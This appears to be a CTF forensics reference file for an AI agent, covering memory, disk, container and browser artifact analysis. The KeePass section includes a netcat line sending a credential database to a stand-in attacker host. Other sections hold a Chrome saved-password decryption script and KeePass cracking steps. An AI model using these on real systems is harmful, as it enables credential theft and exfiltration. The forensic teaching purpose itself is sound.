name: ctf-forensics
description: Digital forensics: disk/memory images (Volatility), PCAP + network steganography, Windows event logs & registry, side-channel power/EM traces, RF/SDR/DTMF/POCSAG decode, logic-analyzer (sigrok), image/audio stego, cryptocurrency tracing. Dispatch on file magic.
license: MIT
compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
metadata:
user-invocable: "false"
CTF Forensics & Blockchain
Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details.
Additional Resources
- 3d-printing.md — PrusaSlicer G-code, QOIF, heatshrink
- windows.md — registry, SAM, event logs, Amcache, WMI persistence, MPLog
- network.md — tcpdump, TLS keylog, SMB3 decrypt, USB HID steno, split-archive reassembly
- network-advanced.md — packet-timing, NTLMv2, DNS stego, SMB RID recycle, UA-gated C2 hex-XOR
- disk-and-memory.md — Volatility, VMDK/VHD, RAID5 XOR, PowerShell ransomware, Docker/cloud
- disk-and-memory-2.md — 2024-26: ZFS, GPT GUID, KAPE, APFS snapshots, ransomware key recovery
- steganography.md — image stego: LSB, binary border, JPEG thumbnail, GIF differential
- steganography-2.md — 2024-26: PDF, PNG chunks, JPEG DQT, F5, jigsaw, QR tiles, seed-permuted
- stego-advanced.md — FFT audio, DTMF/SSTV, multi-track diff, video frame accum
- linux-forensics.md — log analysis, Docker image, browser artifacts, git recovery, KeePass v4
- signals-and-hardware.md — VGA/HDMI/DP decode, POCSAG, PulseView I²C, flash ADC, DPA
Pattern Recognition Index
Dispatch on observed file types / byte signals, not challenge titles.
| Signal in provided material | Technique → file |
|---|
.pcap / .pcapng | network.md (then network-advanced.md for timing/covert channels) |
.sr / .srzip / .logicdata (logic analyser) with SCL/SDA channels | PulseView I²C decoder + datasheet → signals-and-hardware.md |
.sr / .logicdata with single data line, start/stop bits | Saleae UART decode → signals-and-hardware.md |
complex64/complex128 binary + sample-rate in prompt | IQ FFT masking / GQRX pipeline → signals-and-hardware.md |
| Audio with pager-like chirps, narrow FM channel | POCSAG → GQRX→sox→multimon-ng → signals-and-hardware.md |
| Schematic with stack of op-amps + resistor ladder on shared input | Flash ADC recovery → signals-and-hardware.md |
Power traces shape (positions, guesses, traces, samples) | DPA / CPA → signals-and-hardware.md |
.raw / .vmem / .dmp / .lime (memory dump) | Volatility → disk-and-memory.md |
.E01 / .dd / .img / VMDK | Disk carving / partitioning → disk-and-memory.md |
.evtx, SAM, NTUSER.DAT, SRUDB.dat | Windows forensics → windows.md |
| Audio WAV with sync spikes or steady tones | Spectrogram / DTMF / SSTV → stego-advanced.md |
| PNG/JPEG/BMP with suspicious size or LSB patterns | Image stego → steganography.md |
.git/ directory fragment / dangling blob | Git reflog / fsck / blob repair → linux-forensics.md |
Tarball from docker save + .git/objects/??/… files present but refs/HEAD damaged | Raw zlib_decode of every object → disk-and-memory-2.md |
| RAID disks with one missing, equal-size members | RAID5 XOR recovery → disk-and-memory.md |
| PCAP where only a specific User-Agent gets non-default responses + hex-looking paths | UA-gated C2 URL-path hex-XOR exfil → network-advanced.md |
Two trace-sets labelled fixed_vs_random / key_t vs key_r / NIST-TVLA README | Welch's t-test leakage check → signals-and-hardware.md#tvla |
| Constant-time code + traces of equal length but visibly different shape | Morphology-over-duration clustering → signals-and-hardware.md#morphology |
AES first-round target, 5k-10k traces with known plaintexts (.npy + plaintexts) | CPA on sbox(p ⊕ k) Hamming weight → signals-and-hardware.md#cpa |
Recognize artefacts and bytes, not names. If the file type matches, the section applies regardless of challenge title.
For inline code/cheatsheet quick references (grep patterns, one-liners, common payloads), see quickref.md. The Pattern Recognition Index above is the dispatch table — always consult it first; load quickref.md only if you need a concrete snippet after dispatch.
CTF Forensics - 3D Printing / CAD File Forensics
Table of Contents
PrusaSlicer Binary G-code (.g / .bgcode)
File magic: GCDE (4 bytes)
The .g extension is PrusaSlicer's binary G-code format (bgcode). It stores G-code in a block-based structure with compression.
File structure:
Header: "GCDE"(4) + version(4) + checksum_type(2)
Blocks: [type(2) + compression(2) + uncompressed_size(4)
+ compressed_size(4) if compressed
+ type-specific fields
+ data + CRC32(4)]
Block types:
- 0 = FileMetadata (has encoding field, 2 bytes)
- 1 = GCode (has encoding field, 2 bytes)
- 2 = SlicerMetadata (has encoding field, 2 bytes)
- 3 = PrinterMetadata (has encoding field, 2 bytes)
- 4 = PrintMetadata (has encoding field, 2 bytes)
- 5 = Thumbnail (has format(2) + width(2) + height(2))
Compression types: 0=None, 1=Deflate, 2=Heatshrink(11,4), 3=Heatshrink(12,4)
Thumbnail formats: 0=PNG, 1=JPEG, 2=QOI (Quite OK Image)
Parsing and extracting G-code:
import struct, zlib
import heatshrink2
with open('file.g', 'rb') as f:
data = f.read()
pos = 10
while pos < len(data) - 8:
block_type = struct.unpack('<H', data[pos:pos+2])[0]
compression = struct.unpack('<H', data[pos+2:pos+4])[0]
uncompressed_size = struct.unpack('<I', data[pos+4:pos+8])[0]
pos += 8
if compression != 0:
compressed_size = struct.unpack('<I', data[pos:pos+4])[0]
pos += 4
else:
compressed_size = uncompressed_size
if block_type in [0,1,2,3,4]:
pos += 2
elif block_type == 5:
pos += 6
block_data = data[pos:pos+compressed_size]
pos += compressed_size + 4
if block_type == 1:
if compression == 3:
gcode = heatshrink2.decompress(block_data, window_sz2=12, lookahead_sz2=4)
elif compression == 1:
gcode = zlib.decompress(block_data)
Common hiding spots:
- G-code comments (
;=== FLAG_CHAR ... ===) at specific layer heights
- Custom G-code sections (
;TYPE:Custom)
- Metadata fields (object names, filament info)
- Thumbnail images (extract and view QOIF/PNG)
QOIF (Quite OK Image Format)
Magic: qoif (4 bytes) + width(4 BE) + height(4 BE) + channels(1) + colorspace(1)
Lightweight image format used in PrusaSlicer thumbnails. Decode with Python struct or use the qoi library.
G-code Analysis Tips
grep -i "flag\|meta\|ctf\|secret" output.gcode
grep ";.*FLAG\|;.*LAYER_CHANGE" output.gcode
grep "^G1" output.gcode | awk '{print $2, $3}' > coords.txt
G-code Side View Visualization (0xFun 2026)
Pattern (PrintedParts): Plot X vs Z (side view) with Y filtering. Extrusion segments at specific Y ranges form readable text.
grep "^G1" output.gcode | awk '{print $2, $3}' > coords.txt
Lesson: G-code is just coordinate lists. Side projections (XZ or YZ) reveal embossed/engraved text.
Uncommon File Magic Bytes
| Magic | Format | Extension | Notes |
|---|
GCDE | PrusaSlicer binary G-code | .g, .bgcode | 3D printing, heatshrink compressed |
qoif | Quite OK Image Format | .qoi | Lightweight image format, often embedded |
OggS | Ogg container | .ogg | Audio/video |
RIFF | RIFF container | .wav,.avi | Check subformat |
%PDF | PDF | .pdf | Check metadata & embedded objects |
CTF Forensics - Disk & Memory (2024-2026)
Modern disk / memory / snapshot forensics from 2024-2026. For the canonical toolbox (Volatility 3, VMware snapshots, ZFS basics, RAID 5 XOR, PowerShell ransomware), see disk-and-memory.md.
Table of Contents
ZFS Forensics (Nullcon 2026)
Pattern: Corrupted ZFS pool image with encrypted dataset.
Recovery workflow:
- Label reconstruction: All 4 ZFS labels may be zeroed. Find packed nvlist data elsewhere in the image using
strings + offset searching.
- MOS object repair: Copy known-good nvlist bytes to block locations, recompute Fletcher4 checksums:
def fletcher4(data):
a = b = c = d = 0
for i in range(0, len(data), 4):
a = (a + int.from_bytes(data[i:i+4], 'little')) & 0xffffffff
b = (b + a) & 0xffffffff
c = (c + b) & 0xffffffff
d = (d + c) & 0xffffffff
return (d << 96) | (c << 64) | (b << 32) | a
- Encryption cracking: Extract PBKDF2 parameters (iterations, salt) from ZAP objects. GPU-accelerate with PyOpenCL for PBKDF2-HMAC-SHA1, verify AES-256-GCM unwrap on CPU.
- Passphrase list: rockyou.txt or similar. GPU rate: ~24k passwords/sec.
GPT Partition GUID Data Encoding (VuwCTF 2025)
Pattern (Undercut): "LLMs only" + "undercut" → not AI GPT, but GUID Partition Table.
Key insight: GPT partition GUIDs are 16 arbitrary bytes — can encode anything. Look for file magic headers in GUIDs.
gdisk -l image.img
python3 -c "
import struct
data = open('image.img','rb').read()
# GPT header at LBA 1 (offset 512)
# Partition entries start at LBA 2 (offset 1024)
# Each entry is 128 bytes, GUID at offset 16 (16 bytes)
for i in range(128):
entry = data[1024 + i*128 : 1024 + (i+1)*128]
guid = entry[16:32]
if guid != b'\x00'*16:
print(f'Partition {i}: {guid.hex()}')
"
First GUID starts with BZh11AY&SY (bzip2 magic) → concatenate GUIDs, decompress as bzip2, then decode ASCII85.
Windows Minidump String Carving (0xFun 2026)
Pattern (kd): Go binary crash dump. Flag as plaintext string constant in .data section survives in minidump memory.
strings -a minidump.dmp | grep -i "flag\|ctf\|0xFUN"
Lesson: Minidumps contain full memory regions. String constants, keys, and secrets persist. strings -a + grep is the fast path.
VMDK Sparse Parsing (0xFun 2026)
Pattern (VMware): Split sparse VMDK requires grain directory + grain table traversal.
Key steps:
- Parse VMDK sparse header (grain size, GD offset, GT coverage)
- Follow grain directory → grain table → data grains
- Calculate absolute disk offsets across split files
- Mount extracted filesystem (ext4, NTFS)
Lesson: Don't assume VM images can be mounted directly. Parse the VMDK sparse format manually.
Memory Dump String Carving (Pragyan 2026)
Pattern (c47chm31fy0uc4n): Linux memory dump with flag in environment variables or process data.
strings -a -n 6 memdump.bin | grep -E "SYNC|FLAG|SSH_CLIENT|SESSION_KEY"
Memory Dump Malware Extraction + XOR (VuwCTF 2025)
Pattern (Jellycat): Extract fake executable from Windows memory dump. Cipher: subtract 0x32, then XOR with cycling key (large multi-line string, e.g., ASCII art).
Key lesson: Always extract and reverse the actual binary from memory rather than trusting strings output (string tables may be red herrings). XOR keys can be hundreds of bytes (ASCII art, lorem ipsum).
key = b"..."
cipher = open('extracted.bin', 'rb').read()
plaintext = bytes((b - 0x32) ^ key[i % len(key)] for i, b in enumerate(cipher))
Linux Ransomware Memory-Key Recovery (MetaCTF 2026)
Pattern: Linux memory dump + encrypted .veg files + enc_key.bin; ransomware uses hybrid crypto (AES for files, RSA-wrapped key). Volatility may fail process enumeration due symbol/KASLR (Kernel Address Space Layout Randomization) mismatch.
Fast workflow:
- Confirm archive integrity before analysis.
unzip -l encrypted_files.zip
unzip -o encrypted_files.zip -d encrypted_full
- Reverse ransomware binary quickly to identify mode/layout.
strings -a ransomware.elf | grep -E "enc_key|EVP_aes|PUBLIC KEY|.veg"
objdump -d ransomware.elf | less
- Typical finding:
AES-256-OFB, IV prepended to each .veg, global 32-byte AES key, RSA public key hardcoded.
- Try Volatility normally, then pivot immediately if empty/unstable.
vol -f memdump.raw linux.pslist
vol -f memdump.raw linux.proc.Maps
vol -f memdump.raw linux.vmayarascan
- If Linux plugins return empty/invalid output despite correct banner/symbols, do raw-memory candidate scanning.
- Recover AES key via anchored candidate scan + magic validation.
- Use recurring anchor strings in memory (e.g.,
/home/.../enc_key.bin, HOME path).
- Derive candidate offsets near anchors (page-aligned windows).
- Test each 32-byte candidate by decrypting first blocks of multiple
.veg files and checking magic bytes (%PDF-, PK\x03\x04, \x89PNG\r\n\x1a\n).
- Keep candidates that satisfy multiple independent signatures.
- Decrypt full dataset and verify output completeness.
- Validate recovered file count against zip listing.
- Watch for duplicated mirror trees (e.g.,
snap/*/Downloads/...) and deduplicate logically.
- Defend against false flags.
- Treat metadata-only flags as suspicious until corroborated by challenge context.
- Prefer tokens from primary project artifacts and perform uniqueness checks:
rg -n -a '[A-Za-z]+CTF\\{[^}]+\\}' recovered_full
pdftotext recovered_full/**/*.pdf - 2>/dev/null | rg '[A-Za-z]+CTF\\{'
Key lessons:
- Don’t trust a partial/stale extraction tree; re-extract zip cleanly.
- In OFB ransomware, magic-byte validation is a fast key oracle.
- A plausible
CTF{...} in metadata can be a decoy; confirm with corpus-wide consistency.
WordPerfect Macro XOR Extraction (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol I: Corel): Corel Linux disk image containing WordPerfect macro file (fc.wcm) with XOR-encrypted byte arrays.
Key insight: WordPerfect macro files (.wcm) can contain executable macros with embedded encrypted data. The XOR formula (bb + kb) - 2*(bb & kb) is mathematically equivalent to bitwise XOR.
Brute-force 4-byte XOR key under charset constraints:
import string
docbody = [206, 56, 8, 128, 209, 47, 2, 149, ...]
allowed = set(map(ord, string.ascii_lowercase + string.digits + "_{}"))
cands = []
for j in range(4):
good = []
for k in range(256):
if all((docbody[i] ^ k) in allowed for i in range(j, len(docbody), 4)):
good.append(k)
cands.append(good)
for k0 in cands[0]:
for k1 in cands[1]:
for k2 in cands[2]:
for k3 in cands[3]:
key = [k0, k1, k2, k3]
pt = ''.join(chr(c ^ key[i % 4]) for i, c in enumerate(docbody))
if pt.startswith("srd") and pt.endswith("}"):
print(pt)
Lesson: Legacy document formats (WordPerfect, Lotus 1-2-3) can embed executable macros with obfuscated data. When you know the flag charset, brute-forcing a short XOR key is trivial by filtering each key byte independently.
Minidump ISO 9660 Recovery + XOR Key (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol II: The Legendary Armory): Two relics in volatile memory (minidump) must be XORed; ISO 9660 directory entries in memory fragments point to hidden data.
Technique:
- Search minidump for ISO 9660 directory entry signatures
- Parse directory entries to locate target file offset and size
- Decrypt file using recovered XOR key (e.g., 8-byte repeating key)
- Parse resulting data as ZIP without central directory (local headers only)
ZIP local header parsing without central directory:
import struct, zlib
pos = 0
files = {}
while True:
off = dec.find(b"PK\x03\x04", pos)
if off < 0:
break
(ver, flag, method, _, _, crc, csize, usize, nlen, xlen) = struct.unpack_from(
"<HHHHHIIIHH", dec, off + 4)
name = dec[off + 30:off + 30 + nlen].decode()
data_off = off + 30 + nlen + xlen
comp = dec[data_off:data_off + csize]
if method == 8:
raw = zlib.decompress(comp, -15)
else:
raw = comp
files[name] = raw
pos = data_off + csize
Key insight: When ZIP central directory is missing/corrupt, iterate local file headers (PK\x03\x04) directly. Each local header contains enough metadata (compression method, sizes, filename) to extract files independently.
APFS Snapshot Historical File Recovery (srdnlenCTF 2026)
Pattern (Trilogy of Death Vol III: The Poisoned Apple): APFS volume maintains historical snapshots; recovering earlier state of a key file reveals authentic value before poisoning.
Technique:
- Extract APFS partition from DMG (locate by sector offset)
- Search for APFS volume superblocks (magic
APSB) across all snapshots, noting transaction IDs (XIDs)
- Use
icat (Sleuth Kit with APFS support) to read specific inodes across different snapshot XIDs
- Compare file content across XID boundaries to identify when poisoning occurred
- Use pre-poisoning value for decryption
Finding APFS volume superblocks across snapshots:
import struct
with open("apfs_partition.img", "rb") as f:
mm = f.read()
snaps = []
pos = 0
while True:
idx = mm.find(b"APSB", pos)
if idx < 0:
break
hdr_start = idx - 32
xid = struct.unpack_from("<Q", mm, hdr_start + 16)[0]
blk = hdr_start // 4096
snaps.append((xid, blk))
pos = idx + 1
import subprocess
for xid, blk in sorted(set(snaps)):
try:
out = subprocess.check_output(
["icat", "-f", "apfs", "-P", "apfs", "-B", str(blk),
"apfs_partition.img", "449414"])
print(f"XID {xid}: {out[:64]}...")
except:
pass
Decryption with recovered authentic key:
import hashlib
from Cryptodome.Cipher import AES
authentic_key_hex = "39f520679fd68654500f9cd44e8caed2bc897a3227dc297c4520336de2a59dd7"
key = hashlib.pbkdf2_hmac('sha256', bytes.fromhex(authentic_key_hex), salt, iterations)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(encrypted_flag)
Key insight: APFS (and other copy-on-write filesystems like ZFS/Btrfs) preserve historical file states in snapshots. When a challenge involves "poisoned" or "tampered" data, always check for older snapshots containing the original values. Use icat with different block offsets to read the same inode across different transaction IDs.
Windows KAPE Triage Analysis (UTCTF 2026)
Pattern (Landfall, Sherlockk, Cold Workspace): KAPE (Kroll Artifact Parser and Extractor) triage collection ZIP containing Windows forensic artifacts. Multiple challenges reference the same triage dataset.
KAPE triage structure:
Modified_KAPE_Triage_Files/
├── C/
│ ├── Users/<username>/
│ │ ├── AppData/Local/Microsoft/Windows/PowerShell/PSReadLine/
│ │ │ └── ConsoleHost_history.txt # PowerShell command history
│ │ ├── NTUSER.DAT # User registry hive
│ │ └── AppData/Roaming/Microsoft/Windows/Recent/ # Recent files
│ ├── Windows/
│ │ ├── System32/config/
│ │ │ ├── SAM # Password hashes
│ │ │ ├── SYSTEM # System config + boot key
│ │ │ └── SOFTWARE # Installed software
│ │ └── appcompat/Programs/
│ │ └── Amcache.hve # Execution history with SHA-1 hashes
│ └── $MFT # Master File Table
└── ...
High-value artifacts:
- PowerShell history — reveals attacker commands:
cat "C/Users/*/AppData/Local/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt"
- Amcache — executed programs with timestamps and hashes:
python3 -c "
from regipy.registry import RegistryHive
reg = RegistryHive('C/Windows/appcompat/Programs/Amcache.hve')
for entry in reg.recurse_subkeys(as_json=True):
print(entry)
" | grep -i "flag\|suspicious\|malware"
- MFT resident data — small files stored directly in MFT records:
import struct
with open('$MFT', 'rb') as f:
mft_data = f.read()
import re
flags = re.findall(rb'utflag\{[^}]+\}', mft_data)
for flag in flags:
print(f"Found: {flag.decode()}")
- Environment variables from memory dumps (Cold Workspace pattern):
strings -a cold-workspace.dmp | grep -i "flag\|password\|key\|secret"
Challenge patterns from UTCTF 2026:
- Landfall: Flag hidden in PowerShell history or Amcache execution records
- Sherlockk: Correlate Amcache entries with MFT timestamps to identify malicious activity
- Cold Workspace: Flag in environment variables extracted from memory dump
- Checkpoint A/B: Multi-part investigation using combined artifacts
Key insight: KAPE triage ZIPs contain pre-collected forensic artifacts — no need for full disk imaging. Start with PowerShell history (fastest wins) → Amcache (execution timeline) → MFT (resident data for small files) → registry hives (persistence, credentials).
Damaged .git Inside Docker Image Layers — Raw zlib_decode of .git/objects/* (source: 404CTF 2025 Dockerflag)
Trigger:
- Challenge gives a tarball produced by
docker save image_name > image.tar.
- After extracting layers you find a
.git/ directory but git log/git show fails with bad object / corrupt loose object / missing HEAD or refs/.
- The per-object files under
.git/objects/XX/YYYYYY… still exist (file magic: first 2 bytes are zlib header 78 9C or 78 01).
Signals to grep:
find . -name 'layer.tar' -exec tar -tvf {} \; | grep -E '\.git/'
find . -path '*.git/objects/*/*' | head
file $(find . -path '*.git/objects/*/*' | head -1)
Mechanic: Git stores each loose object zlib-compressed. Even when refs/HEAD are missing or .git/index is corrupt, the object files themselves are self-contained — decompress each and grep for the target.
import os, zlib, pathlib
for p in pathlib.Path('.').rglob('.git/objects/??/*'):
if p.is_file():
try:
data = zlib.decompress(p.read_bytes())
header, _, body = data.partition(b'\x00')
if b'FLAG' in body or b'flag' in body or b'404CTF' in body:
print(p, header, body[:500])
except Exception:
pass
Equivalent one-liner in bash with openssl zlib -d or pigz -dc:
for f in $(find . -path '*.git/objects/*/*' -type f); do
pigz -dc < "$f" 2>/dev/null | grep -aE 'flag|CTF\{' && echo " ← $f"
done
Docker layer forensics tie-in: docker save writes each layer as <sha>/layer.tar. A file deleted in a later layer (e.g. a secret .env rm-ed during build) is still present in the earlier layer. Combine:
tar -xf image.tar → manifest.json tells you the layer order (oldest first).
- Extract each
layer.tar into its own layer-N/ dir; grep -r for the target across all.
docker history --no-trunc <image> exposes build ARG/ENV values that may include secrets.
dive <image> visualises layer diffs interactively.
Generalizes to: any CI artifact where git history is pruned but object files leak; partial restore of destroyed repos (e.g. git filter-branch didn't clean objects); forensics of rebuild-time secret leaks.
CTF Forensics - Disk and Memory Analysis
Table of Contents
For 2024-2026 era techniques (ZFS, GPT GUID, KAPE, APFS snapshots, ransomware key recovery), see disk-and-memory-2.md.
Memory Forensics (Volatility 3)
vol3 -f memory.dmp windows.info
vol3 -f memory.dmp windows.pslist
vol3 -f memory.dmp windows.cmdline
vol3 -f memory.dmp windows.netscan
vol3 -f memory.dmp windows.filescan
vol3 -f memory.dmp windows.dumpfiles --physaddr <addr>
vol3 -f memory.dmp windows.mftscan | grep flag
Common plugins:
windows.pslist / windows.pstree - Process listing
windows.cmdline - Command line arguments
windows.netscan - Network connections
windows.filescan - File objects in memory
windows.dumpfiles - Extract files by physical address
windows.mftscan - MFT FILE objects in memory (timestamps, filenames). Note: mftparser was Volatility 2 only; Vol3 uses mftscan
Disk Image Analysis
sudo mount -o loop,ro image.dd /mnt/evidence
fls -r image.dd
icat image.dd <inode>
photorec image.dd
foremost -i image.dd
VM Forensics (OVA/VMDK)
tar -xvf machine.ova
7z l disk.vmdk | head -100
7z x disk.vmdk -oextracted "Windows/System32/config/SAM" -r
Key files to extract from VM images:
Windows/System32/config/SAM - Password hashes
Windows/System32/config/SYSTEM - Boot key
Windows/System32/config/SOFTWARE - Installed software
Users/*/NTUSER.DAT - User registry
Users/*/AppData/ - Browser data, credentials
VMware Snapshot Forensics
Converting VMware snapshots to memory dumps:
vmss2core -W path/to/snapshot.vmss path/to/snapshot.vmem
Malware hunting in snapshots (Armorless):
- Check Amcache for executed binaries near encryption timestamp
- Look for deceptive names (Unicode lookalikes:
ṙ instead of r)
- Dump suspicious executables from memory
- If PyInstaller-packed:
pyinstxtractor → decompile .pyc
- If PyArmor-protected: use PyArmor-Unpacker
Ransomware key recovery via MFT:
- Even if original files deleted, MFT preserves modification timestamps
- Seed-based encryption: recover mtime → derive key
vol3 -f memory.dmp windows.mftscan | grep flag
Coredump Analysis
gdb -c core.dump
(gdb) info registers
(gdb) x/100x $rsp
(gdb) find 0x0, 0xffffffff, "flag"
Deleted Partition Recovery
Pattern (Till Delete Do Us Part): USB image with deleted partition table.
Recovery workflow:
fdisk -l image.img
testdisk image.img
kpartx -av image.img
mount /dev/mapper/loop0p1 /mnt/evidence
ls -la /mnt/evidence
find /mnt/evidence -name ".*"
Flag hiding: Path components as flag chars (e.g., /.Meta/CTF/{f/l/a/g})
RAID 5 Disk Recovery via XOR (Crypto-Cat)
Pattern: RAID 5 array with one damaged/missing disk. Two working disks are provided and the third must be reconstructed using XOR parity.
How RAID 5 parity works: Data is striped across N disks with distributed parity. For any stripe, Disk1 XOR Disk2 XOR ... XOR DiskN = 0. If one disk is missing, XOR the remaining disks to recover it.
Recovery script:
with open('disk1.img', 'rb') as f:
disk1 = f.read()
with open('disk3.img', 'rb') as f:
disk3 = f.read()
disk2 = bytes(a ^ b for a, b in zip(disk1, disk3))
with open('disk2.img', 'wb') as f:
f.write(disk2)
After recovery:
mdadm --create /dev/md0 --level=5 --raid-devices=3 \
disk1.img disk2.img disk3.img
mount -o loop,ro disk2.img /mnt/recovered
Key insight: RAID 5 uses XOR parity across all disks in each stripe. XOR is self-inverse: if A XOR B XOR C = 0, then B = A XOR C. For N-disk RAID 5, XOR all N-1 working disks together to recover the missing one.
Detection: Challenge provides multiple disk images of identical size, mentions "array", "redundancy", or "parity". file command may identify them as filesystem images or raw data.
PowerShell Ransomware Analysis
Pattern (Email From Krampus): PowerShell memory dump + network capture.
Analysis workflow:
- Extract script blocks from minidump:
python power_dump.py powershell.DMP
-
Identify encryption (typically AES-CBC with SHA-256 key derivation)
-
Extract encrypted attachment from PCAP:
- Find encryption key in memory dump:
strings powershell.DMP | grep -E '^[A-Za-z0-9]{24}$' | sort | head
- Find archive password similarly, decrypt layers
Android Forensics
adb pull /data/app/com.target.app/base.apk
apktool d base.apk -o decompiled/
adb backup -apk -shared -all -f backup.ab
java -jar abe.jar unpack backup.ab backup.tar
tar xf backup.tar
sqlite3 /data/data/com.android.providers.contacts/databases/contacts2.db ".tables"
sqlite3 /data/data/com.android.providers.telephony/databases/mmssms.db "SELECT * FROM sms"
mkdir android_mount && mount -o ro android_image.img android_mount/
Key insight: Android stores app data in /data/data/<package>/ with SQLite databases and XML shared preferences. adb backup captures the full app state. For CTFs, check shared_prefs/ for hardcoded secrets and databases/ for flags.
Container Forensics (Docker)
docker save IMAGE:TAG -o image.tar
tar xf image.tar
docker history IMAGE:TAG --no-trunc
docker create --name extract IMAGE:TAG
docker export extract -o container_fs.tar
docker rm extract
dive IMAGE:TAG
Key insight: Docker images are layered — a file deleted in a later layer still exists in the earlier layer's tar. Use docker history --no-trunc to see full Dockerfile commands including secrets passed via ARG or ENV. The dive tool visualizes layer diffs interactively.
Cloud Storage Forensics (AWS S3 / GCP / Azure)
aws s3 ls s3://target-bucket/ --no-sign-request
aws s3 cp s3://target-bucket/flag.txt . --no-sign-request
aws s3api list-object-versions --bucket target-bucket --no-sign-request
aws s3api get-object --bucket target-bucket --key secret.txt --version-id VERSION_ID out.txt
gsutil ls gs://target-bucket/
gsutil cp gs://target-bucket/flag.txt .
az storage blob list --container-name target --account-name storageaccount
az storage blob download --container-name target --name flag.txt --account-name storageaccount
Key insight: Cloud storage versioning preserves deleted objects. Even if a flag file is deleted from the bucket, previous versions may still be accessible via list-object-versions. Always check for versioning-enabled buckets.
CTF Forensics - Linux and Application Forensics
Table of Contents
Log Analysis
grep -iE "(flag|part|piece|fragment)" server.log
grep "FLAGPART" server.log | sed 's/.*FLAGPART: //' | uniq | tr -d '\n'
sort logfile.log | uniq -c | sort -rn | head
Linux Attack Chain Forensics
Pattern (Making the Naughty List): Full attack timeline from logs + PCAP + malware.
Evidence sources:
grep -A2 "session opened" /var/log/auth.log
cat /home/*/.bash_history
find /usr/bin -newer /var/log/auth.log -name "ms*"
tshark -r capture.pcap -Y "tftp" -T fields -e tftp.source_file
Common malware pattern: AES-ECB encrypt + XOR with same key, save as .enc
Docker Image Forensics (Pragyan 2026)
Pattern (Plumbing): Sensitive data leaked during Docker build but cleaned in later layers.
Key insight: Docker image config JSON (blobs/sha256/<config_hash>) permanently preserves ALL RUN commands in the history array, regardless of subsequent cleanup.
tar xf app.tar
python3 -m json.tool blobs/sha256/<config_hash> | grep -A2 "created_by"
Analysis steps:
- Extract the Docker image tar:
tar xf app.tar
- Read
manifest.json to find the config blob hash
- Parse the config blob JSON for
history[].created_by entries
- Each entry shows the exact Dockerfile command that was run
- Secrets echoed, written, or processed in any
RUN command are preserved in the history
- Even if a later layer
rm -f secret.txt, the RUN echo "flag{...}" > secret.txt remains visible
Browser Credential Decryption
Chrome/Edge Login Data decryption (requires master_key.txt):
from Crypto.Cipher import AES
import sqlite3, json, base64
with open('master_key.txt', 'rb') as f:
master_key = f.read()
conn = sqlite3.connect('Login Data')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
for url, user, encrypted_pw in cursor.fetchall():
nonce = encrypted_pw[3:15]
ciphertext = encrypted_pw[15:-16]
tag = encrypted_pw[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
password = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url}: {user}:{password.decode()}")
Master key extraction from Local State:
import json, base64
with open('Local State', 'r') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
encrypted_key = encrypted_key[5:]
Firefox Browser History (places.sqlite)
Pattern (Browser Wowser): Flag hidden in browser history URLs.
strings places.sqlite | grep -i "flag\|MetaCTF"
sqlite3 places.sqlite "SELECT url FROM moz_places WHERE url LIKE '%flag%'"
Key tables: moz_places (URLs), moz_bookmarks, moz_cookies
USB Audio Extraction from PCAP
Pattern (Talk To Me): USB isochronous transfers contain audio data.
Extraction workflow:
tshark -r capture.pcap -T fields -e usb.iso.data > audio_data.txt
Identification: USB transfer type URB_ISOCHRONOUS = real-time audio/video
TFTP Netascii Decoding
Problem: TFTP netascii mode corrupts binary transfers; Wireshark doesn't auto-decode.
Fix exported files:
with open('file_raw', 'rb') as f:
data = f.read()
data = data.replace(b'\r\n', b'\n').replace(b'\r\x00', b'\r')
with open('file_fixed', 'wb') as f:
f.write(data)
TLS Traffic Decryption via Weak RSA
Pattern (Tampered Seal): TLS 1.2 with TLS_RSA_WITH_AES_256_CBC_SHA (no PFS).
Attack flow:
- Extract server certificate from Server Hello packet (Export Packet Bytes ->
public.der)
- Get modulus:
openssl x509 -in public.der -inform DER -noout -modulus
- Factor weak modulus (dCode, factordb.com, yafu)
- Generate private key:
rsatool -p P -q Q -o private.pem
- Add to Wireshark: Edit -> Preferences -> TLS -> RSA keys list
After decryption:
- Follow TLS streams to see HTTP traffic
- Export objects (File -> Export Objects -> HTTP)
- Look for downloaded executables, API calls
ROT18 Decoding
ROT13 on letters + ROT5 on digits. Common final layer in multi-stage forensics:
def rot18(text):
result = []
for c in text:
if c.isalpha():
base = ord('a') if c.islower() else ord('A')
result.append(chr((ord(c) - base + 13) % 26 + base))
elif c.isdigit():
result.append(str((int(c) + 5) % 10))
else:
result.append(c)
return ''.join(result)
Common Encodings
echo "base64string" | base64 -d
echo "hexstring" | xxd -r -p
Git Directory Recovery (UTCTF 2024)
gitdumper.sh https://target/.git/ /tmp/repo
cat .git/logs/HEAD
Tool: gitdumper.sh from internetwache/GitTools is most reliable.
KeePass Database Extraction and Cracking (H7CTF 2025)
Pattern (Moby Dock): KeePass database (.kdbx) found on compromised system contains SSH keys or credentials for lateral movement.
Transfer from remote system:
base64 .system.kdbx | nc attacker_ip 4444
nc -lvnp 4444 > kdbx.b64 && base64 -d kdbx.b64 > system.kdbx
Cracking KeePass v4 databases:
keepass2john system.kdbx > hash.txt
git clone https://github.com/ivanmrsulja/keepass2john.git
cd keepass2john && make
./keepass2john system.kdbx > hash.txt
python3 keepass4brute.py -d wordlist.txt system.kdbx
Wordlist generation from challenge context:
cewl http://target:8080 -d 2 -m 5 -w cewl_words.txt
echo -e "expectopatronum\nharrypotter\nalohomora" >> cewl_words.txt
hashcat -m 13400 hash.txt cewl_words.txt
After cracking — extract credentials:
- Open
.kdbx in KeePassXC with recovered password
- Check all entries for SSH private keys, passwords, API tokens
- SSH keys are typically stored in the "Notes" or "Advanced" attachment fields
Key insight: Standard keepass2john does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the ivanmrsulja/keepass2john fork or keepass4brute for v4 support. Generate context-aware wordlists with cewl targeting related web services.
